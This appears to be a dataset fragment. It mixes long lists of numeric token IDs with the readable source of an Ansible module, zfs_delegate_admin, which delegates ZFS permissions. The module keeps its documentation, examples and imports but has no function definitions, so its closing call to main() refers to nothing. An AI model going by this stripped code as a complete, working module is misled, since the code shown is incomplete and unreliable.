11,
4906,
7,
84,
1,
4943,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
43089,
7890,
35,
713,
796,
33918,
13,
46030,
7,
42180,
7890,
35,
713,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1281,
62,
17143,
2357,
796,
14631,
75,
33213,
2430,
23065,
5376,
2430,
23065,
6601,
8973,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
2198,
62,
7353,
62,
17143,
2357,
62,
38476,
7,
42180,
7890,
35,
713,
11,
7353,
62,
17143,
2357,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
366,
43730,
1281,
10007,
1058,
705,
90,
92,
6,
1911,
18982,
7,
7353,
62,
17143,
2357,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
198,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
8950,
796,
43089,
7890,
35,
713,
13,
1136,
7203,
75,
33213,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
1430,
5376,
796,
43089,
7890,
35,
713,
13,
1136,
7203,
23065,
5376,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
1430,
6601,
796,
43089,
7890,
35,
713,
13,
1136,
7203,
23065,
6601,
4943,
198,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
75,
33213,
8728,
1,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
8950,
198,
220,
220,
220,
220,
220,
220,
220,
611,
8950,
407,
287,
8950,
62,
11250,
13,
13083,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
366,
21327,
691,
39347,
290,
327,
4056,
460,
307,
10945,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
23065,
5376,
8728,
1,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
1430,
5376,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
23065,
6601,
8728,
1,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
1430,
6601,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
2099,
7,
23065,
6601,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
318,
39098,
7,
23065,
6601,
11,
11600,
2599,
1430,
6601,
796,
33918,
13,
67,
8142,
7,
23065,
6601,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
23065,
6601,
8728,
1,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
1430,
6601,
628,
220,
220,
220,
220,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
4468,
576,
7,
23065,
5376,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
45144,
92,
10545,
103,
242,
162,
94,
230,
38834,
27764,
246,
28839,
101,
22755,
244,
164,
115,
107,
36181,
239,
17312,
231,
45739,
97,
1911,
18982,
7,
23065,
5376,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
628,
220,
220,
220,
23991,
796,
685,
75,
33213,
62,
11250,
58,
75,
33213,
4357,
23065,
5376,
60,
198,
220,
220,
220,
611,
1430,
6601,
25,
23991,
13,
33295,
7,
23065,
6601,
8,
198,
220,
220,
220,
1303,
23991,
796,
45144,
18477,
92,
1911,
18982,
7,
75,
33213,
62,
11250,
58,
75,
33213,
4357,
23065,
5376,
8,
198,
220,
220,
220,
1303,
611,
1430,
6601,
25,
23991,
10,
2625,
705,
90,
92,
6,
1911,
18982,
7,
23065,
6601,
8,
198,
220,
220,
220,
1303,
3601,
366,
4907,
93,
28758,
4907,
93,
1,
198,
220,
220,
220,
1303,
3601,
23991,
198,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
779,
16818,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
93,
46284,
923,
8728,
4907,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
4818,
8079,
13,
2197,
22446,
2536,
31387,
10786,
4,
56,
12,
4,
76,
12,
4,
67,
4064,
39,
25,
4,
44,
25,
4,
50,
13,
4,
69,
11537,
58,
3712,
60,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
24189,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
422,
18725,
1924,
4677,
13,
7015,
88,
51,
6791,
1330,
18725,
1924,
62,
46284,
62,
11423,
62,
23065,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
18725,
1924,
62,
46284,
62,
11423,
62,
23065,
13,
39014,
62,
292,
13361,
7,
22046,
16193,
28758,
11,
23060,
25361,
828,
28166,
62,
2539,
11639,
8929,
3256,
16834,
2625,
39,
12,
36560,
16,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8383,
796,
24593,
15167,
12468,
263,
16818,
7,
418,
13,
1136,
35317,
22784,
5793,
11,
850,
14681,
62,
9122,
62,
22915,
62,
23065,
11,
23991,
11,
36230,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8383,
13,
9688,
3419,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
93,
46284,
625,
8728,
4907,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
4818,
8079,
13,
2197,
22446,
2536,
31387,
10786,
4,
56,
12,
4,
76,
12,
4,
67,
4064,
39,
25,
4,
44,
25,
4,
50,
13,
4,
69,
11537,
58,
3712,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
11454,
62,
19662,
796,
366,
482,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
8950,
6624,
366,
66,
1298,
23991,
13,
12924,
7,
15,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
34635,
34635,
2474,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
10434,
15167,
7575,
8973,
796,
4818,
8079,
13,
2197,
22446,
2536,
31387,
10786,
4,
56,
12,
4,
76,
12,
4,
67,
4064,
39,
25,
4,
44,
25,
4,
50,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1429,
796,
850,
14681,
62,
9122,
62,
22915,
62,
23065,
7,
3103,
1851,
6601,
22446,
1102,
1851,
7,
28758,
828,
23060,
25361,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
14681,
8728,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
1429,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
8728,
4906,
1429,
8728,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
2099,
7,
14681,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
12915,
15167,
7575,
8973,
796,
4818,
8079,
13,
2197,
22446,
2536,
31387,
10786,
4,
56,
12,
4,
76,
12,
4,
67,
4064,
39,
25,
4,
44,
25,
4,
50,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
366,
34635,
34635,
2474,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
1429,
58,
15,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
3855,
15167,
31077,
8973,
796,
19779,
22915,
1298,
14681,
58,
16,
17241,
7783,
8189,
1298,
15,
92,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
11454,
62,
19662,
796,
366,
482,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
1429,
58,
17,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1619,
1429,
58,
17,
7131,
1,
28758,
8973,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
3855,
15167,
31077,
8973,
796,
1429,
58,
17,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
11454,
62,
19662,
796,
366,
18224,
1,
628,
220,
220,
220,
2845,
35528,
355,
304,
25,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
366,
4907,
93,
16922,
4907,
93,
1,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
4818,
8079,
13,
2197,
22446,
2536,
31387,
10786,
4,
56,
12,
4,
76,
12,
4,
67,
4064,
39,
25,
4,
44,
25,
4,
50,
13,
4,
69,
11537,
58,
3712,
60,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
304,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
25064,
13,
41194,
62,
10951,
3419,
198,
220,
220,
220,
3443,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
2116,
11041,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
288,
291,
9781,
14692,
4221,
8808,
12789,
8973,
796,
4818,
8079,
13,
2197,
22446,
2536,
31387,
10786,
4,
56,
12,
4,
76,
12,
4,
67,
4064,
39,
25,
4,
44,
25,
4,
50,
13,
4,
69,
11537,
58,
3712,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
11454,
62,
19662,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
1174,
67,
291,
9781,
8,
198,
2,
42535,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
30396,
25,
1114,
38488,
10263,
230,
251,
34650,
233,
44293,
244,
40,
78,
51,
33699,
222,
165,
250,
222,
21410,
445,
271,
18842,
62,
25202,
62,
13376,
8251,
7,
17831,
8,
422,
48761,
3084,
25,
198,
2,
7536,
25,
1105,
1959,
42334,
31,
56,
680,
272,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
22935,
90,
4299,
1312,
313,
62,
445,
271,
62,
25202,
62,
13083,
62,
15003,
7,
23060,
25361,
8,
198,
31,
34,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
27,
23060,
25361,
29,
14,
16,
13,
15,
14,
15022,
1143,
14,
31768,
14,
7738,
271,
14,
24728,
14,
40729,
3256,
5050,
796,
37250,
18851,
6,
12962,
198,
31,
15390,
8841,
62,
17143,
2357,
7,
26861,
7597,
62,
23060,
25361,
62,
45849,
28,
26861,
7597,
62,
23060,
25361,
62,
45849,
8,
198,
4299,
1312,
313,
62,
445,
271,
62,
25202,
62,
13083,
62,
15003,
7,
23060,
25361,
11,
2116,
11041,
28,
25101,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
1114,
38488,
10263,
230,
251,
34650,
233,
44293,
244,
40,
78,
51,
33699,
222,
165,
250,
222,
21410,
445,
271,
3335,
8251,
7,
17831,
8,
628,
220,
220,
220,
943,
14542,
25,
198,
220,
220,
220,
220,
220,
220,
220,
36230,
25,
220,
45635,
18796,
101,
45298,
163,
111,
119,
163,
113,
109,
28938,
235,
163,
101,
109,
198,
220,
220,
220,
16409,
25,
198,
220,
220,
220,
220,
220,
220,
220,
645,
1441,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
611,
407,
2116,
11041,
25,
198,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
796,
598,
47,
7252,
50,
13,
3866,
18709,
18453,
7,
25927,
11,
10057,
28,
23060,
25361,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
2956,
72,
62,
17143,
2357,
796,
14631,
27112,
8973,
198,
220,
220,
220,
220,
220,
220,
220,
1255,
11,
1255,
62,
19662,
796,
2198,
62,
9900,
62,
17143,
2357,
62,
38476,
7,
25927,
11,
9900,
62,
17143,
2357,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
1255,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
1255,
62,
19662,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
628,
220,
220,
220,
477,
62,
25202,
796,
23884,
198,
220,
220,
220,
11454,
62,
19662,
796,
366,
18224,
1,
198,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
360,
65,
36044,
11,
38993,
11,
18392,
28,
598,
47,
7252,
50,
13,
1136,
43832,
36044,
6030,
7,
10057,
28,
23060,
25361,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
360,
65,
36044,
318,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
628,
220,
220,
220,
220,
220,
220,
220,
264,
408,
796,
360,
65,
36044,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
12405,
10962,
796,
8655,
7203,
3866,
2220,
1,
837,
20150,
11,
1960,
349,
1170,
28,
17821,
8,
628,
220,
220,
220,
220,
220,
220,
220,
329,
5752,
287,
264,
408,
13,
22766,
7,
22766,
10962,
737,
439,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
808,
796,
20292,
6601,
26227,
22446,
18982,
7,
808,
13557,
292,
11600,
28955,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
477,
62,
25202,
58,
67,
808,
14692,
12417,
62,
2539,
8973,
10,
1,
62,
1,
10,
67,
808,
14692,
24011,
500,
62,
2539,
8973,
60,
796,
33918,
13,
46030,
7,
67,
808,
14692,
24011,
500,
62,
4868,
8973,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
11454,
62,
19662,
796,
366,
482,
1,
1303,
28060,
7675,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
2638,
1378,
25558,
2502,
11125,
13,
785,
14,
6138,
507,
14,
3901,
1065,
31496,
14,
16338,
12,
42712,
507,
12,
259,
12,
25410,
282,
26599,
12,
421,
10640,
628,
220,
220,
220,
2845,
35528,
355,
304,
25,
198,
220,
220,
220,
220,
220,
220,
220,
11454,
62,
19662,
796,
598,
47,
7252,
50,
13,
40198,
62,
1069,
4516,
7,
68,
11,
17597,
13,
41194,
62,
10951,
22784,
23060,
25361,
8,
628,
220,
220,
220,
3443,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
705,
43832,
36044,
6,
287,
17205,
22446,
13083,
3419,
290,
360,
65,
36044,
318,
407,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
264,
408,
13,
19836,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
360,
65,
36044,
13,
28956,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3113,
13,
6381,
3455,
3419,
198,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
611,
11454,
62,
19662,
14512,
366,
482,
1298,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
11041,
25,
1441,
220,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
407,
2116,
11041,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
11454,
62,
19662,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
628,
220,
220,
220,
11454,
62,
19662,
796,
366,
18224,
1,
198,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2266,
271,
62,
9945,
796,
3298,
7785,
13,
23060,
25361,
45849,
58,
20541,
7785,
13,
35009,
5959,
4061,
4083,
9630,
7,
23060,
25361,
8,
198,
220,
220,
220,
220,
220,
220,
220,
20613,
7738,
271,
11,
62,
11,
62,
796,
598,
47,
7252,
50,
13,
1136,
43832,
36044,
6030,
7,
10057,
28,
23060,
25361,
11,
9945,
5376,
28,
445,
271,
62,
9945,
11,
1640,
27369,
6601,
2625,
445,
271,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
611,
20613,
7738,
271,
318,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
628,
220,
220,
220,
220,
220,
220,
220,
329,
1994,
11,
8367,
287,
477,
62,
25202,
13,
23814,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
164,
233,
98,
2539,
38834,
27764,
246,
28839,
101,
171,
120,
234,
33566,
112,
162,
236,
98,
161,
119,
118,
44165,
233,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
407,
20613,
7738,
271,
13,
1069,
1023,
7,
2539,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
20613,
7738,
271,
13,
71,
907,
316,
7,
2539,
11,
1988,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
164,
233,
98,
27764,
246,
28839,
101,
171,
120,
234,
162,
107,
242,
164,
120,
225,
8367,
31965,
102,
20015,
114,
21410,
2539,
171,
120,
234,
162,
232,
241,
20998,
244,
38834,
34932,
235,
164,
97,
229,
21410,
161,
119,
118,
44165,
233,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
32432,
106,
37239,
228,
7,
48958,
232,
21410,
13783,
248,
21410,
2539,
171,
120,
234,
165,
250,
222,
26344,
103,
165,
247,
97,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7032,
62,
31227,
62,
12381,
796,
1351,
7,
2617,
7,
9945,
7738,
271,
13,
71,
13083,
7,
2539,
29720,
26069,
1945,
7,
8367,
13,
13083,
3419,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
7032,
62,
31227,
62,
12381,
25,
20613,
7738,
271,
13,
71,
12381,
7,
2539,
11,
1635,
25747,
62,
31227,
62,
12381,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
32432,
106,
37239,
228,
7,
23877,
108,
21410,
13783,
248,
21410,
2539,
171,
120,
234,
165,
250,
222,
23877,
108,
161,
95,
252,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7032,
62,
31227,
62,
2860,
796,
1351,
7,
2617,
7,
8367,
13,
13083,
3419,
737,
26069,
1945,
7,
9945,
7738,
271,
13,
71,
13083,
7,
2539,
22305,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
7032,
62,
31227,
62,
2860,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
1988,
62,
2539,
11,
8367,
62,
8367,
287,
1988,
13,
23814,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
1988,
62,
2539,
287,
7032,
62,
31227,
62,
2860,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
20613,
7738,
271,
13,
71,
2617,
7,
2539,
11,
1988,
62,
2539,
11,
1988,
62,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
162,
103,
95,
162,
253,
98,
6880,
62,
25202,
62,
13376,
62,
9,
8251,
42468,
28938,
99,
165,
250,
222,
26344,
103,
165,
247,
97,
7,
13783,
248,
21410,
165,
250,
222,
26344,
103,
165,
247,
97,
8,
198,
220,
220,
220,
220,
220,
220,
220,
8251,
62,
31227,
62,
12381,
796,
1351,
7,
2617,
7,
9945,
7738,
271,
13,
13083,
7203,
6880,
62,
25202,
62,
13376,
62,
9,
4943,
737,
26069,
1945,
7,
439,
62,
25202,
13,
13083,
3419,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
611,
8251,
62,
31227,
62,
12381,
25,
20613,
7738,
271,
13,
33678,
46491,
13083,
62,
31227,
62,
12381,
8,
198,
220,
220,
220,
220,
220,
220,
220,
11454,
62,
19662,
796,
366,
482,
1,
628,
220,
220,
220,
2845,
35528,
355,
304,
25,
198,
220,
220,
220,
220,
220,
220,
220,
11454,
62,
19662,
796,
598,
47,
7252,
50,
13,
40198,
62,
1069,
4516,
7,
68,
11,
25064,
13,
41194,
62,
10951,
22784,
36230,
8,
198,
220,
220,
220,
220,
198,
220,
220,
220,
3443,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
2116,
11041,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
11454,
62,
19662,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
198,
2,
42535
] | 2.120585 | 6,286 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2015, Nate Coraor <[email protected]>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = r'''
---
module: zfs_delegate_admin
short_description: Manage ZFS delegated administration (user admin privileges)
description:
- Manages ZFS file system delegated administration permissions, which allow unprivileged users to perform ZFS
operations normally restricted to the superuser.
- See the C(zfs allow) section of C(zfs(1M)) for detailed explanations of options.
- This module attempts to adhere to the behavior of the command line tool as much as possible.
requirements:
- "A ZFS/OpenZFS implementation that supports delegation with `zfs allow`, including: Solaris >= 10, illumos (all
versions), FreeBSD >= 8.0R, ZFS on Linux >= 0.7.0."
options:
name:
description:
- File system or volume name e.g. C(rpool/myfs).
required: true
type: str
state:
description:
- Whether to allow (C(present)), or unallow (C(absent)) a permission.
- When set to C(present), at least one "entity" param of I(users), I(groups), or I(everyone) are required.
- When set to C(absent), removes permissions from the specified entities, or removes all permissions if no entity params are specified.
required: true
choices: [ absent, present ]
default: present
users:
description:
- List of users to whom permission(s) should be granted.
type: list
groups:
description:
- List of groups to whom permission(s) should be granted.
type: list
everyone:
description:
- Apply permissions to everyone.
type: bool
default: no
permissions:
description:
- The list of permission(s) to delegate (required if C(state) is C(present)).
type: list
choices: [ allow, clone, create, destroy, diff, hold, mount, promote, readonly, receive, release, rename, rollback, send, share, snapshot, unallow ]
local:
description:
- Apply permissions to C(name) locally (C(zfs allow -l)).
type: bool
descendents:
description:
- Apply permissions to C(name)'s descendents (C(zfs allow -d)).
type: bool
recursive:
description:
- Unallow permissions recursively (ignored when C(state) is C(present)).
type: bool
default: no
author:
- Nate Coraor (@natefoo)
'''
EXAMPLES = r'''
- name: Grant `zfs allow` and `unallow` permission to the `adm` user with the default local+descendents scope
community.general.zfs_delegate_admin:
name: rpool/myfs
users: adm
permissions: allow,unallow
- name: Grant `zfs send` to everyone, plus the group `backup`
community.general.zfs_delegate_admin:
name: rpool/myvol
groups: backup
everyone: yes
permissions: send
- name: Grant `zfs send,receive` to users `foo` and `bar` with local scope only
community.general.zfs_delegate_admin:
name: rpool/myfs
users: foo,bar
permissions: send,receive
local: yes
- name: Revoke all permissions from everyone (permissions specifically assigned to users and groups remain)
community.general.zfs_delegate_admin:
name: rpool/myfs
everyone: yes
state: absent
'''
# This module does not return anything other than the standard
# changed/state/msg/stdout
RETURN = '''
'''
from itertools import product
from ansible.module_utils.basic import AnsibleModule
if __name__ == '__main__':
main()
| [
2,
48443,
14629,
14,
8800,
14,
29412,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
15069,
25,
357,
66,
8,
1853,
11,
23486,
2744,
64,
273,
1279,
77,
378,
31,
66,
5799,
273,
13,
2398,
29,
198,
2,
22961,
3611,
5094,
13789,
410,
18,
13,
15,
10,
357,
3826,
27975,
45761,
393,
3740,
1378,
2503,
13,
41791,
13,
2398,
14,
677,
4541,
14,
70,
489,
12,
18,
13,
15,
13,
14116,
8,
198,
198,
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
11,
7297,
11,
3601,
62,
8818,
198,
834,
4164,
330,
31172,
834,
796,
2099,
198,
198,
38715,
5883,
3525,
6234,
796,
374,
7061,
6,
198,
6329,
198,
21412,
25,
1976,
9501,
62,
2934,
34637,
62,
28482,
198,
19509,
62,
11213,
25,
1869,
496,
1168,
10652,
49711,
3662,
357,
7220,
13169,
18850,
8,
198,
11213,
25,
198,
220,
532,
1869,
1095,
1168,
10652,
2393,
1080,
49711,
3662,
21627,
11,
543,
1249,
555,
13776,
48446,
2985,
284,
1620,
1168,
10652,
198,
220,
220,
220,
4560,
7685,
10770,
284,
262,
2208,
7220,
13,
198,
220,
532,
4091,
262,
327,
7,
89,
9501,
1249,
8,
2665,
286,
327,
7,
89,
9501,
7,
16,
44,
4008,
329,
6496,
18681,
286,
3689,
13,
198,
220,
532,
770,
8265,
6370,
284,
26325,
284,
262,
4069,
286,
262,
3141,
1627,
2891,
355,
881,
355,
1744,
13,
198,
8897,
18883,
25,
198,
220,
532,
366,
32,
1168,
10652,
14,
11505,
57,
10652,
7822,
326,
6971,
22635,
351,
4600,
89,
9501,
1249,
47671,
1390,
25,
12347,
271,
18189,
838,
11,
16116,
418,
357,
439,
198,
220,
220,
220,
6300,
828,
35841,
18189,
807,
13,
15,
49,
11,
1168,
10652,
319,
7020,
18189,
657,
13,
22,
13,
15,
526,
198,
25811,
25,
198,
220,
1438,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
9220,
1080,
393,
6115,
1438,
304,
13,
70,
13,
327,
7,
81,
7742,
14,
1820,
9501,
737,
198,
220,
220,
220,
2672,
25,
2081,
198,
220,
220,
220,
2099,
25,
965,
198,
220,
1181,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
10127,
284,
1249,
357,
34,
7,
25579,
36911,
393,
555,
12154,
357,
34,
7,
8937,
298,
4008,
257,
7170,
13,
198,
220,
220,
220,
220,
220,
532,
1649,
900,
284,
327,
7,
25579,
828,
379,
1551,
530,
366,
26858,
1,
5772,
286,
314,
7,
18417,
828,
314,
7,
24432,
828,
393,
314,
7,
47057,
8,
389,
2672,
13,
198,
220,
220,
220,
220,
220,
532,
1649,
900,
284,
327,
7,
8937,
298,
828,
20694,
21627,
422,
262,
7368,
12066,
11,
393,
20694,
477,
21627,
611,
645,
9312,
42287,
389,
7368,
13,
198,
220,
220,
220,
2672,
25,
2081,
198,
220,
220,
220,
7747,
25,
685,
13717,
11,
1944,
2361,
198,
220,
220,
220,
4277,
25,
1944,
198,
220,
2985,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
7343,
286,
2985,
284,
4150,
7170,
7,
82,
8,
815,
307,
7520,
13,
198,
220,
220,
220,
2099,
25,
1351,
198,
220,
2628,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
7343,
286,
2628,
284,
4150,
7170,
7,
82,
8,
815,
307,
7520,
13,
198,
220,
220,
220,
2099,
25,
1351,
198,
220,
2506,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
27967,
21627,
284,
2506,
13,
198,
220,
220,
220,
2099,
25,
20512,
198,
220,
220,
220,
4277,
25,
645,
198,
220,
21627,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
383,
1351,
286,
7170,
7,
82,
8,
284,
23191,
357,
35827,
611,
327,
7,
5219,
8,
318,
327,
7,
25579,
29720,
198,
220,
220,
220,
2099,
25,
1351,
198,
220,
220,
220,
7747,
25,
685,
1249,
11,
17271,
11,
2251,
11,
4117,
11,
814,
11,
1745,
11,
3817,
11,
7719,
11,
1100,
8807,
11,
3328,
11,
2650,
11,
36265,
11,
4836,
1891,
11,
3758,
11,
2648,
11,
27479,
11,
